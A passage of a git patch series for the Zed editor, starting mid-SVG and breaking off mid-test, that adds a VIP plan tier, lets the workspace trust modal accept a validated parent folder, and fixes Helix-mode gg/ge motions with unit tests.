transform="rotate(90 228.217 66.5)"/><circle cx="224.717" cy="52.5" r="1" fill="#d9d9d9" transform="rotate(90 224.717 52.5)"/><circle cx="224.717" cy="66.5" r="1" fill="#d9d9d9" transform="rotate(90 224.717 66.5)"/><circle cx="221.217" cy="52.5" r="1" fill="#d9d9d9" transform="rotate(90 221.217 52.5)"/><circle cx="221.217" cy="66.5" r="1" fill="#d9d9d9" transform="rotate(90 221.217 66.5)"/><circle cx="217.717" cy="52.5" r="1" fill="#d9d9d9" transform="rotate(90 217.717 52.5)"/><circle cx="217.717" cy="30.5" r="1" fill="#d9d9d9" transform="rotate(90 217.717 30.5)"/><circle cx="217.717" cy="66.5" r="1" fill="#d9d9d9" transform="rotate(90 217.717 66.5)"/><circle cx="238.717" cy="73.5" r="1" fill="#d9d9d9" transform="rotate(90 238.717 73.5)"/><circle cx="228.217" cy="73.5" r="1" fill="#d9d9d9" transform="rotate(90 228.217 73.5)"/><circle cx="228.217" cy="70" r="1" fill="#d9d9d9" transform="rotate(90 228.217 70)"/><circle cx="238.717" cy="56" r="1" fill="#d9d9d9" transform="rotate(90 238.717 56)"/><circle cx="217.717" cy="56" r="1" fill="#d9d9d9" transform="rotate(90 217.717 56)"/><circle cx="221.217" cy="34" r="1" fill="#d9d9d9" transform="rotate(90 221.217 34)"/><circle cx="221.217" cy="26.5" r="1" fill="#d9d9d9" transform="rotate(90 221.217 26.5)"/><circle cx="235.717" cy="77" r="1" fill="#d9d9d9" transform="rotate(90 235.717 77)"/><circle cx="231.717" cy="77" r="1" fill="#d9d9d9" transform="rotate(90 231.717 77)"/><circle cx="238.717" cy="37.5" r="1" fill="#d9d9d9" transform="rotate(90 238.717 37.5)"/><circle cx="224.717" cy="37.5" r="1" fill="#d9d9d9" transform="rotate(90 224.717 37.5)"/><circle cx="224.717" cy="23.5" r="1" fill="#d9d9d9" transform="rotate(90 224.717 23.5)"/></svg>
diff --git a/crates/agent_ui/src/agent_configuration.rs b/crates/agent_ui/src/agent_configuration.rs
index 65ddcafff48b03..6ab59856465cbd 100644
--- a/crates/agent_ui/src/agent_configuration.rs
+++ b/crates/agent_ui/src/agent_configuration.rs
@@ -506,6 +506,7 @@ impl AgentConfiguration {
                 Plan::ZedProTrial => ("Pro Trial", Color::Accent, pro_chip_bg),
                 Plan::ZedPro => ("Pro", Color::Accent, pro_chip_bg),
                 Plan::ZedBusiness => ("Business", Color::Accent, pro_chip_bg),
+                Plan::ZedVip => ("VIP", Color::Accent, pro_chip_bg),
                 Plan::ZedStudent => ("Student", Color::Accent, pro_chip_bg),
             };
 
diff --git a/crates/ai_onboarding/src/ai_onboarding.rs b/crates/ai_onboarding/src/ai_onboarding.rs
index 30b022843c34da..0d31c11b26ba61 100644
--- a/crates/ai_onboarding/src/ai_onboarding.rs
+++ b/crates/ai_onboarding/src/ai_onboarding.rs
@@ -115,6 +115,13 @@ impl ZedAiOnboarding {
         )
     }
 
+    fn vip_stamp(cx: &App) -> impl IntoElement {
+        div().absolute().bottom_1().right_1().child(
+            Vector::new(VectorName::VipStamp, rems_from_px(156.), rems_from_px(60.))
+                .color(Color::Custom(cx.theme().colors().text.alpha(0.8))),
+        )
+    }
+
     fn student_stamp(cx: &App) -> impl IntoElement {
         div().absolute().bottom_1().right_1().child(
             Vector::new(
@@ -332,6 +339,23 @@ impl ZedAiOnboarding {
             .into_any_element()
     }
 
+    fn render_vip_plan_state(&self, cx: &mut App) -> AnyElement {
+        v_flex()
+            .w_full()
+            .relative()
+            .gap_1()
+            .child(Self::vip_stamp(cx))
+            .child(Headline::new("Welcome to Zed VIP"))
+            .child(
+                Label::new("Here's what you get:")
+                    .color(Color::Muted)
+                    .mb_2(),
+            )
+            .child(PlanDefinitions.vip_plan())
+            .children(self.render_dismiss_button())
+            .into_any_element()
+    }
+
     fn render_student_plan_state(&self, cx: &mut App) -> AnyElement {
         v_flex()
             .w_full()
@@ -359,6 +383,7 @@ impl RenderOnce for ZedAiOnboarding {
                 Some(Plan::ZedProTrial) => self.render_trial_state(cx),
                 Some(Plan::ZedPro) => self.render_pro_plan_state(cx),
                 Some(Plan::ZedBusiness) => self.render_business_plan_state(cx),
+                Some(Plan::ZedVip) => self.render_vip_plan_state(cx),
                 Some(Plan::ZedStudent) => self.render_student_plan_state(cx),
             }
         } else {
@@ -436,6 +461,10 @@ impl Component for ZedAiOnboarding {
                     "Business Plan",
                     onboarding(SignInStatus::SignedIn, Some(Plan::ZedBusiness), false),
                 ),
+                single_example(
+                    "VIP Plan",
+                    onboarding(SignInStatus::SignedIn, Some(Plan::ZedVip), false),
+                ),
                 single_example(
                     "Student Plan",
                     onboarding(SignInStatus::SignedIn, Some(Plan::ZedStudent), false),
diff --git a/crates/ai_onboarding/src/plan_definitions.rs b/crates/ai_onboarding/src/plan_definitions.rs
index 2ac7aeab56678c..674c74ebb87540 100644
--- a/crates/ai_onboarding/src/plan_definitions.rs
+++ b/crates/ai_onboarding/src/plan_definitions.rs
@@ -45,6 +45,12 @@ impl PlanDefinitions {
             .child(ListBulletItem::new("Usage-based billing"))
     }
 
+    pub fn vip_plan(&self) -> impl IntoElement {
+        List::new()
+            .child(ListBulletItem::new("Unlimited edit predictions"))
+            .child(ListBulletItem::new("Tokens in the Zed agent"))
+    }
+
     pub fn student_plan(&self) -> impl IntoElement {
         List::new()
             .child(ListBulletItem::new("Unlimited edit predictions"))
diff --git a/crates/cloud_api_types/src/plan.rs b/crates/cloud_api_types/src/plan.rs
index 1f40d1ddb5f0e7..964c7d859dd7bd 100644
--- a/crates/cloud_api_types/src/plan.rs
+++ b/crates/cloud_api_types/src/plan.rs
@@ -10,6 +10,7 @@ pub enum Plan {
     ZedPro,
     ZedProTrial,
     ZedBusiness,
+    ZedVip,
     ZedStudent,
 }
 
diff --git a/crates/language_models/src/provider/cloud.rs b/crates/language_models/src/provider/cloud.rs
index 07eb29f725370d..52486b30ef1716 100644
--- a/crates/language_models/src/provider/cloud.rs
+++ b/crates/language_models/src/provider/cloud.rs
@@ -439,6 +439,11 @@ impl RenderOnce for ZedAiConfiguration {
                 },
                 true,
             ),
+            Some(Plan::ZedVip) => (
+                "You have access to Zed's hosted models through your VIP subscription.",
+                true,
+            ),
+
             Some(Plan::ZedFree) | None => (
                 if self.eligible_for_trial {
                     "Subscribe for access to Zed's hosted models. Start with a 14 day free trial."
diff --git a/crates/onboarding/src/onboarding.rs b/crates/onboarding/src/onboarding.rs
index a0aa0b9811ff14..7ff5184f1b06ad 100644
--- a/crates/onboarding/src/onboarding.rs
+++ b/crates/onboarding/src/onboarding.rs
@@ -237,6 +237,7 @@ impl Onboarding {
                 Some(Plan::ZedPro) => "pro",
                 Some(Plan::ZedProTrial) => "trial",
                 Some(Plan::ZedBusiness) => "business",
+                Some(Plan::ZedVip) => "vip",
                 Some(Plan::ZedStudent) => "student",
                 Some(Plan::ZedFree) | None => "free",
             }
diff --git a/crates/title_bar/src/plan_chip.rs b/crates/title_bar/src/plan_chip.rs
index 237e507ed8e4d1..cac4193299f246 100644
--- a/crates/title_bar/src/plan_chip.rs
+++ b/crates/title_bar/src/plan_chip.rs
@@ -34,6 +34,7 @@ impl RenderOnce for PlanChip {
             Plan::ZedProTrial => ("Pro Trial", Color::Accent, pro_chip_bg),
             Plan::ZedPro => ("Pro", Color::Accent, pro_chip_bg),
             Plan::ZedBusiness => ("Business", Color::Accent, pro_chip_bg),
+            Plan::ZedVip => ("VIP", Color::Accent, pro_chip_bg),
             Plan::ZedStudent => ("Student", Color::Accent, pro_chip_bg),
         };
 
diff --git a/crates/ui/src/components/image.rs b/crates/ui/src/components/image.rs
index 25b1a3003f400b..e282c93c13686b 100644
--- a/crates/ui/src/components/image.rs
+++ b/crates/ui/src/components/image.rs
@@ -14,6 +14,7 @@ use crate::traits::transformable::Transformable;
 #[strum(serialize_all = "snake_case")]
 pub enum VectorName {
     BusinessStamp,
+    VipStamp,
     Grid,
     ProTrialStamp,
     ProUserStamp,

From cc3d4d58aed840fcdd970efb6c98db80119a7e36 Mon Sep 17 00:00:00 2001
From: Piotr Osiewicz <24362066+osiewicz@users.noreply.github.com>
Date: Fri, 19 Jun 2026 13:07:07 +0200
Subject: [PATCH 003/772] workspace: Allow user to pick arbitrary parent path
 as a trustee (#59562)

This allows one to "bless" arbitrary parent path, without making
assumptions about the structure of the project storage on users machine.

## Testing

- Did you test these changes? If so, how?
- Are there any parts that need more testing?
- How can other people (reviewers) test your changes? Is there anything
specific they need to know?
- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

> This section is optional. If this PR does not include a visual change
or does not add a new user-facing feature, you can delete this section.

- Help others understand the result of this PR by showcasing your
awesome work!
- If this PR includes a visual change, consider adding a screenshot,
GIF, or video
- A before/after comparison is very useful for changes to existing
features!

While a showcase should aim to be brief and digestible, you can use a
toggleable section to save space on longer showcases:

<details>
  <summary>Click to view showcase</summary>

My super cool demos here

</details>

---

Release Notes:

- When opening a project for the first time, you can now auto-trust
arbitrary parent path; previously Zed offered affordance for
auto-trusting a parent of a parent only.
---
 Cargo.lock                             |   1 +
 crates/editor/src/editor.rs            |   7 +
 crates/ui_input/src/ui_input.rs        |   1 +
 crates/workspace/Cargo.toml            |   1 +
 crates/workspace/src/security_modal.rs | 218 +++++++++++++++++++++++--
 crates/workspace/src/workspace.rs      |   4 +-
 6 files changed, 213 insertions(+), 19 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index e8bfbb61cfa210..ee82f7d975389d 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -22451,6 +22451,7 @@ dependencies = [
  "theme",
  "theme_settings",
  "ui",
+ "ui_input",
  "url",
  "util",
  "uuid",
diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index e98defa3085b01..32487c53900ae8 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -11824,6 +11824,13 @@ impl ui_input::ErasedEditor for ErasedEditorImpl {
             editor.set_masked(masked, cx);
         });
     }
+
+    fn set_read_only(&self, read_only: bool, cx: &mut App) {
+        self.0.update(cx, |editor, cx| {
+            editor.set_read_only(read_only);
+            cx.notify();
+        });
+    }
 }
 impl<T> Default for InvalidationStack<T> {
     fn default() -> Self {
diff --git a/crates/ui_input/src/ui_input.rs b/crates/ui_input/src/ui_input.rs
index ab3addc35c1900..595f16d849eb63 100644
--- a/crates/ui_input/src/ui_input.rs
+++ b/crates/ui_input/src/ui_input.rs
@@ -20,6 +20,7 @@ pub trait ErasedEditor: 'static {
     fn set_placeholder_text(&self, text: &str, window: &mut Window, _: &mut App);
     fn move_selection_to_end(&self, window: &mut Window, _: &mut App);
     fn set_masked(&self, masked: bool, window: &mut Window, cx: &mut App);
+    fn set_read_only(&self, read_only: bool, cx: &mut App);
 
     fn focus_handle(&self, cx: &App) -> FocusHandle;
 
diff --git a/crates/workspace/Cargo.toml b/crates/workspace/Cargo.toml
index ed91016bca1c5b..4fa5c142596c67 100644
--- a/crates/workspace/Cargo.toml
+++ b/crates/workspace/Cargo.toml
@@ -66,6 +66,7 @@ telemetry.workspace = true
 theme.workspace = true
 theme_settings.workspace = true
 ui.workspace = true
+ui_input.workspace = true
 url.workspace = true
 util.workspace = true
 uuid.workspace = true
diff --git a/crates/workspace/src/security_modal.rs b/crates/workspace/src/security_modal.rs
index 378968fd1c017d..3c8a831fb488ff 100644
--- a/crates/workspace/src/security_modal.rs
+++ b/crates/workspace/src/security_modal.rs
@@ -7,7 +7,7 @@ use std::{
 };
 
 use collections::{HashMap, HashSet};
-use gpui::{DismissEvent, EventEmitter, FocusHandle, Focusable, ScrollHandle, WeakEntity};
+use gpui::{DismissEvent, Entity, EventEmitter, FocusHandle, Focusable, ScrollHandle, WeakEntity};
 
 use project::{
     WorktreeId,
@@ -20,6 +20,7 @@ use ui::{
     AlertModal, Checkbox, FluentBuilder, KeyBinding, ListBulletItem, ToggleState, WithScrollbar,
     prelude::*,
 };
+use ui_input::InputField;
 
 use crate::{DismissDecision, ModalView, ToggleWorktreeSecurity};
 
@@ -32,6 +33,9 @@ pub struct SecurityModal {
     focus_handle: FocusHandle,
     project_list_scroll_handle: ScrollHandle,
     trusted: Option<bool>,
+    /// Editable trust scope shown inline with the checkbox when a single
+    /// project is being prompted for; read-only until the checkbox is ticked.
+    trust_path_input: Entity<InputField>,
 }
 
 #[derive(Debug, PartialEq, Eq)]
@@ -86,6 +90,13 @@ impl Render for SecurityModal {
 
         let trust_label = self.build_trust_label();
 
+        // The editable trust-scope field is shown only when a single project is
+        // being prompted for (Delta opens one worktree per thread).
+        let trust_input = self
+            .single_trustable_path()
+            .is_some()
+            .then(|| self.trust_path_input.clone());
+
         AlertModal::new("security-modal")
             .width(rems(40.))
             .key_context("SecurityModal")
@@ -192,9 +203,55 @@ impl Render for SecurityModal {
                             .child(ListBulletItem::new("Language servers from running"))
                             .child(ListBulletItem::new("MCP Server integrations from installing")),
                     )
-                    .map(|this| match trust_label {
-                        Some(trust_label) => this.child(
-                            Checkbox::new("trust-parents", ToggleState::from(self.trust_parents))
+                    .map(|this| {
+                        let Some(trust_label) = trust_label else {
+                            return this;
+                        };
+                        match trust_input {
+                            // Single project: the editable scope field replaces
+                            // the static folder name, inline with the checkbox.
+                            Some(input) => this.child(
+                                // Top-aligned so the field's validation error
+                                // grows downward without shifting the checkbox;
+                                // the checkbox sits in a fixed-height box matching
+                                // the input row.
+                                h_flex()
+                                    .items_start()
+                                    .gap_1p5()
+                                    .child(
+                                        h_flex().h_8().child(
+                                        Checkbox::new(
+                                            "trust-parents",
+                                            ToggleState::from(self.trust_parents),
+                                        )
+                                        .label("Trust all projects in")
+                                        .on_click(cx.listener(
+                                            |security_modal, state: &ToggleState, _, cx| {
+                                                let trust_parents = state.selected();
+                                                security_modal.trust_parents = trust_parents;
+                                                let input =
+                                                    security_modal.trust_path_input.clone();
+                                                let editor = input.read(cx).editor().clone();
+                                                editor.set_read_only(!trust_parents, cx);
+                                                if !trust_parents {
+                                                    input.update(cx, |input, cx| {
+                                                        input.set_error(None::<SharedString>, cx)
+                                                    });
+                                                }
+                                                cx.notify();
+                                                cx.stop_propagation();
+                                            },
+                                        )),
+                                        ),
+                                    )
+                                    .child(input),
+                            ),
+                            // Zero or several projects: keep the static label.
+                            None => this.child(
+                                Checkbox::new(
+                                    "trust-parents",
+                                    ToggleState::from(self.trust_parents),
+                                )
                                 .label(trust_label)
                                 .on_click(cx.listener(
                                     |security_modal, state: &ToggleState, _, cx| {
@@ -203,8 +260,8 @@ impl Render for SecurityModal {
                                         cx.stop_propagation();
                                     },
                                 )),
-                        ),
-                        None => this,
+                            ),
+                        }
                     }),
             )
             .footer(
@@ -250,8 +307,10 @@ impl SecurityModal {
     pub fn new(
         worktree_store: WeakEntity<WorktreeStore>,
         remote_host: Option<impl Into<RemoteHostLocation>>,
+        window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
+        let trust_path_input = cx.new(|cx| InputField::new(window, cx, "Folder to trust"));
         let mut this = Self {
             worktree_store,
             remote_host: remote_host.map(|host| host.into()),
@@ -261,9 +320,21 @@ impl SecurityModal {
             trust_parents: false,
             home_dir: std::env::home_dir(),
             trusted: None,
+            trust_path_input,
         };
         this.refresh_restricted_paths(cx);
 
+        // Pre-fill with the single project's parent folder (today's static
+        // scope), read-only until the checkbox is ticked.
+        if let Some(project) = this.single_trustable_path() {
+            let default_scope = project.parent().unwrap_or(&project).to_path_buf();
+            this.trust_path_input.update(cx, |field, cx| {
+                field.set_text(&default_scope.to_string_lossy(), window, cx);
+            });
+        }
+        let editor = this.trust_path_input.read(cx).editor().clone();
+        editor.set_read_only(!this.trust_parents, cx);
+
         this
     }
 
@@ -305,7 +376,31 @@ impl SecurityModal {
         }
     }
 
+    /// The user-edited trust scope, when an editable field is shown. `Ok(None)`
+    /// means fall back to the default per-parent behavior; `Err` is a validation
+    /// message to surface on the field.
+    fn edited_trust_scope(&self, cx: &App) -> Result<Option<PathBuf>, SharedString> {
+        if !self.trust_parents {
+            return Ok(None);
+        }
+        let Some(project) = self.single_trustable_path() else {
+            return Ok(None);
+        };
+        let typed = self.trust_path_input.read(cx).text(cx);
+        validate_trust_scope(&typed, &project, self.home_dir.as_deref()).map(Some)
+    }
+
     fn trust_and_dismiss(&mut self, cx: &mut Context<Self>) {
+        let scope_override = match self.edited_trust_scope(cx) {
+            Ok(scope) => scope,
+            Err(error) => {
+                // Invalid path: flag the field and keep the modal open.
+                self.trust_path_input
+                    .update(cx, |input, cx| input.set_error(Some(error), cx));
+                return;
+            }
+        };
+
         if let Some((trusted_worktrees, worktree_store)) =
             TrustedWorktrees::try_get_global(cx).zip(self.worktree_store.upgrade())
         {
@@ -317,17 +412,21 @@ impl SecurityModal {
                     .map(PathTrust::Worktree)
                     .collect::<HashSet<_>>();
                 if self.trust_parents {
-                    paths_to_trust.extend(self.restricted_paths.values().filter_map(
-                        |restricted_paths| {
-                            if restricted_paths.is_file {
-                                None
-                            } else {
-                                let parent_abs_path =
-                                    restricted_paths.abs_path.parent()?.to_owned();
-                                Some(PathTrust::AbsPath(parent_abs_path))
-                            }
-                        },
-                    ));
+                    if let Some(scope) = scope_override {
+                        paths_to_trust.insert(PathTrust::AbsPath(scope));
+                    } else {
+                        paths_to_trust.extend(self.restricted_paths.values().filter_map(
+                            |restricted_paths| {
+                                if restricted_paths.is_file {
+                                    None
+                                } else {
+                                    let parent_abs_path =
+                                        restricted_paths.abs_path.parent()?.to_owned();
+                                    Some(PathTrust::AbsPath(parent_abs_path))
+                                }
+                            },
+                        ));
+                    }
                 }
                 trusted_worktrees.trust(&worktree_store, paths_to_trust, cx);
             });
@@ -341,6 +440,19 @@ impl SecurityModal {
         cx.emit(DismissEvent);
     }
 
+    /// The sole untrusted, non-file project, when exactly one is being prompted
+    /// for. This is the case where the trust scope can be edited (Delta opens
+    /// one worktree per thread); with zero or several we keep the static label.
+    fn single_trustable_path(&self) -> Option<Arc<Path>> {
+        let mut projects = self
+            .restricted_paths
+            .values()
+            .filter(|restricted_path| !restricted_path.is_file)
+            .map(|restricted_path| restricted_path.abs_path.clone());
+        let only = projects.next()?;
+        projects.next().is_none().then_some(only)
+    }
+
     pub fn refresh_restricted_paths(&mut self, cx: &mut Context<Self>) {
         if let Some(trusted_worktrees) = TrustedWorktrees::try_get_global(cx) {
             if let Some(worktree_store) = self.worktree_store.upgrade() {
@@ -378,3 +490,75 @@ impl SecurityModal {
         }
     }
 }
+
+/// Validates a user-edited trust-scope path. Returns the absolute folder to
+/// trust when `typed` is an ancestor of (or equal to) `project`; otherwise an
+/// error message suitable for display. A leading `~` is expanded via `home_dir`.
+fn validate_trust_scope(
+    typed: &str,
+    project: &Path,
+    home_dir: Option<&Path>,
+) -> Result<PathBuf, SharedString> {
+    let trimmed = typed.trim();
+    if trimmed.is_empty() {
+        return Err("Enter a folder to trust".into());
+    }
+    let expanded = match (trimmed.strip_prefix('~'), home_dir) {
+        (Some(rest), Some(home_dir)) => {
+            home_dir.join(rest.strip_prefix(std::path::MAIN_SEPARATOR).unwrap_or(rest))
+        }
+        _ => PathBuf::from(trimmed),
+    };
+    if !expanded.is_absolute() {
+        return Err("Enter an absolute folder path".into());
+    }
+    if !project.starts_with(&expanded) {
+        return Err("Must be a parent folder of the project".into());
+    }
+    Ok(expanded)
+}
+
+#[cfg(all(test, unix))]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn accepts_ancestor_or_equal() {
+        let project = Path::new("/Users/me/dev/delta/wt/t1");
+        assert_eq!(
+            validate_trust_scope("/Users/me/dev/delta/wt", project, None).unwrap(),
+            PathBuf::from("/Users/me/dev/delta/wt"),
+        );
+        // Equal to the project itself is allowed.
+        assert_eq!(
+            validate_trust_scope("/Users/me/dev/delta/wt/t1", project, None).unwrap(),
+            PathBuf::from("/Users/me/dev/delta/wt/t1"),
+        );
+        // A distant ancestor is allowed.
+        assert!(validate_trust_scope("/Users/me/dev", project, None).is_ok());
+    }
+
+    #[test]
+    fn rejects_non_ancestor_relative_or_empty() {
+        let project = Path::new("/Users/me/dev/delta/wt/t1");
+        assert!(validate_trust_scope("/Users/other", project, None).is_err());
+        assert!(validate_trust_scope("relative/path", project, None).is_err());
+        assert!(validate_trust_scope("   ", project, None).is_err());
+        // Deeper than the project is not an ancestor.
+        assert!(validate_trust_scope("/Users/me/dev/delta/wt/t1/sub", project, None).is_err());
+    }
+
+    #[test]
+    fn expands_leading_tilde() {
+        let home = Path::new("/Users/me");
+        let project = Path::new("/Users/me/dev/wt/t1");
+        assert_eq!(
+            validate_trust_scope("~/dev/wt", project, Some(home)).unwrap(),
+            PathBuf::from("/Users/me/dev/wt"),
+        );
+        assert_eq!(
+            validate_trust_scope("~", project, Some(home)).unwrap(),
+            PathBuf::from("/Users/me"),
+        );
+    }
+}
diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index e441ef06186cb0..1b508163955103 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -8236,8 +8236,8 @@ impl Workspace {
                     .remote_connection_options(cx)
                     .map(RemoteHostLocation::from);
                 let worktree_store = project.worktree_store().downgrade();
-                self.toggle_modal(window, cx, |_, cx| {
-                    SecurityModal::new(worktree_store, remote_host, cx)
+                self.toggle_modal(window, cx, |window, cx| {
+                    SecurityModal::new(worktree_store, remote_host, window, cx)
                 });
             }
         }

From ef38a4150205dabdeaa34ca05787dda0c3604fd7 Mon Sep 17 00:00:00 2001
From: Lars <100301928+polars-bear@users.noreply.github.com>
Date: Fri, 19 Jun 2026 16:20:22 +0200
Subject: [PATCH 004/772] helix: Fix start and end of document motions (#59449)

# Objective

- This PR fixed the `gg` and `ge` motion in Helix mode to match the
behavoir from Helix. Fixes #56702

## Solution

- The solution is to add custom handling for the StartOfDocument and
EndOfDocument Motions in normal and select mode. For both cases, column
0 is hard coded in the DisplayPoint for the destination of the motion.

## Testing

- Did you test these changes? If so, how?
Yes, I added unit tests which pass and also manually tested the `gg` and
`ge` motions in the new build.
- Are there any parts that need more testing?
- How can other people (reviewers) test your changes? Is there anything
specific they need to know?
1. Enable Helix mode in the settings
2. Open a file with multiple lines
3. Move to the middle of the file
4. Press `gg` and `ge`
5. Cursor should move to start or end of file at column 0
6. Same for Select mode

- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?
I only tested on Linux (Fedora). Since the changes are not platform
specific, I don't think more testing is necessary, but always welcome.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable


Release Notes:

- Fixed `gg` and `ge` motions to jump to the first character on the line
and match Helix exactly.

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 crates/vim/src/helix.rs | 233 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 233 insertions(+)

diff --git a/crates/vim/src/helix.rs b/crates/vim/src/helix.rs
index 040d60cfae719d..d3ff4fa05cbc75 100644
--- a/crates/vim/src/helix.rs
+++ b/crates/vim/src/helix.rs
@@ -117,6 +117,25 @@ pub fn register(editor: &mut Editor, cx: &mut Context<Vim>) {
     );
 }
 
+/// Returns column 0 of the document's first line, imitating `gg` in Helix.
+///
+/// With a count, Helix treats it as a (1-based) line number, so a count of `n`
+/// targets buffer row `n - 1`, clamped to the last line.
+fn start_of_document(map: &DisplaySnapshot, times: Option<usize>) -> DisplayPoint {
+    let buffer_row = match times {
+        None => 0,
+        Some(times) => (times.saturating_sub(1) as u32).min(map.max_row().0),
+    };
+    map.point_to_display_point(Point::new(buffer_row, 0), Bias::Left)
+}
+
+/// Returns column 0 of the document's last line, imitating `ge` in Helix.
+///
+/// Helix ignores any count for `ge`, so it is not taken here.
+fn end_of_document(map: &DisplaySnapshot) -> DisplayPoint {
+    map.point_to_display_point(Point::new(map.max_row().0, 0), Bias::Left)
+}
+
 impl Vim {
     pub fn helix_normal_motion(
         &mut self,
@@ -162,6 +181,10 @@ impl Vim {
                     }
 
                     let (new_head, goal) = match motion {
+                        Motion::StartOfDocument => {
+                            (start_of_document(map, times), SelectionGoal::None)
+                        }
+                        Motion::EndOfDocument => (end_of_document(map), SelectionGoal::None),
                         // EndOfLine positions after the last character, but in
                         // helix visual mode we want the selection to end ON the
                         // last character. Adjust left here so the subsequent
@@ -485,6 +508,25 @@ impl Vim {
                 let mut is_boundary = Self::subword_boundary_start(ignore_punctuation, true);
                 self.helix_find_range_backward(times, window, cx, &mut is_boundary)
             }
+            Motion::StartOfDocument => {
+                self.update_editor(cx, |_, editor, cx| {
+                    editor.change_selections(Default::default(), window, cx, |s| {
+                        s.move_with(&mut |map, selection| {
+                            selection
+                                .collapse_to(start_of_document(map, times), SelectionGoal::None)
+                        })
+                    });
+                });
+            }
+            Motion::EndOfDocument => {
+                self.update_editor(cx, |_, editor, cx| {
+                    editor.change_selections(Default::default(), window, cx, |s| {
+                        s.move_with(&mut |map, selection| {
+                            selection.collapse_to(end_of_document(map), SelectionGoal::None)
+                        })
+                    });
+                });
+            }
             Motion::EndOfLine { .. } => {
                 // In Helix mode, EndOfLine should position cursor ON the last character,
                 // not after it. We therefore need special handling for it.
@@ -4007,4 +4049,195 @@ mod test {
         cx.simulate_keystrokes("r 1");
         cx.assert_state("«1ˇ»", Mode::HelixNormal);
     }
+
+    #[gpui::test]
+    async fn test_helix_start_of_document(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+        cx.enable_helix();
+
+        // gg lands at column 0 of the first line, regardless of current column
+        cx.set_state(
+            indoc! {"
+            foo
+              barˇbaz"},
+            Mode::HelixNormal,
+        );
+        cx.simulate_keystrokes("g g");
+        cx.assert_state(
+            indoc! {"
+            ˇfoo
+              barbaz"},
+            Mode::HelixNormal,
+        );
+
+        // gg with an active selection collapses to column 0 of the first line
+        cx.set_state(
+            indoc! {"
+            foo
+            «bar bazˇ»"},
+            Mode::HelixNormal,
+        );
+        cx.simulate_keystrokes("g g");
+        cx.assert_state(
+            indoc! {"
+            ˇfoo
+            bar baz"},
+            Mode::HelixNormal,
+        );
+
+        // a count goes to that line number at column 0
+        cx.set_state(
+            indoc! {"
+            line one
+            line two
+              line threeˇ"},
+            Mode::HelixNormal,
+        );
+        cx.simulate_keystrokes("2 g g");
+        cx.assert_state(
+            indoc! {"
+            line one
+            ˇline two
+              line three"},
+            Mode::HelixNormal,
+        );
+
+        // a count larger than the number of lines clips to the last line
+        cx.set_state(
+            indoc! {"
+            line one
+            line two
+            ˇline three"},
+            Mode::HelixNormal,
+        );
+        cx.simulate_keystrokes("9 9 9 g g");
+        cx.assert_state(
+            indoc! {"
+            line one
+            line two
+            ˇline three"},
+            Mode::HelixNormal,
+        );
+
+        // v gg extends the selection backward to col 0 of the first line
+        cx.set_state(
+            indoc! {"
+            line one
+            ˇline two
+            line three"},
+            Mode::HelixNormal,
+        );
+        cx.simulate_keystrokes("v g g");
+        cx.assert_state(
+            indoc! {"
+            «ˇline one
+            l»ine two
+            line three"},
+            Mode::HelixSelect,
+        );
+
+        // gg in select mode with a reversed selection extends further backward
+        cx.set_state(
+            indoc! {"
+            line one
+            line «ˇtwo»
+            line three"},
+            Mode::HelixSelect,
+        );
+        cx.simulate_keystrokes("g g");
+        cx.assert_state(
+            indoc! {"
+            «ˇline one
+            line two»
+            line three"},
+            Mode::HelixSelect,
+        );
+    }
+
+    #[gpui::test]
+    async fn test_helix_end_of_document(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+        cx.enable_helix();
+
+        // ge lands at column 0 of the last line, regardless of current column
+        cx.set_state(
+            indoc! {"
+              fooˇbar
+            baz"},
+            Mode::HelixNormal,
+        );
+        cx.simulate_keystrokes("g e");
+        cx.assert_state(
+            indoc! {"
+              foobar
+            ˇbaz"},
+            Mode::HelixNormal,
+        );
+
+        // ge with an active selection collapses to column 0 of the last line
+        cx.set_state(
+            indoc! {"
+            «foo barˇ»
+            baz"},
+            Mode::HelixNormal,
+        );
+        cx.simulate_keystrokes("g e");
+        cx.assert_state(
+            indoc! {"
+            foo bar
+            ˇbaz"},
+            Mode::HelixNormal,
+        );
+
+        // a count is ignored; ge always goes to the last line
+        cx.set_state(
+            indoc! {"
+              line oneˇ
+            line two
+            line three"},
+            Mode::HelixNormal,
+        );
+        cx.simulate_keystrokes("2 g e");
+        cx.assert_state(
+            indoc! {"
+              line one
+            line two
+            ˇline three"},
+            Mode::HelixNormal,
+        );
+
+        // v ge extends the selection to col 0 of the last line
+        cx.set_state(
+            indoc! {"
+            ˇline one
+            line two
+            line three"},
+            Mode::HelixNormal,
+        );
+        cx.simulate_keystrokes("v g e");
+        cx.assert_state(
+            indoc! {"
+            «line one
+            line two
+            lˇ»ine three"},
+            Mode::HelixSelect,
+        );
+
+        // ge in select mode with a reversed selection extends forward to the last line
+        cx.set_state(
+            indoc! {"
+            line one
+            line «ˇtwo»
+            line three"},
+            Mode::HelixSelect,
+        );
+        cx.simulate_keystrokes("g e");
+        cx.assert_state(
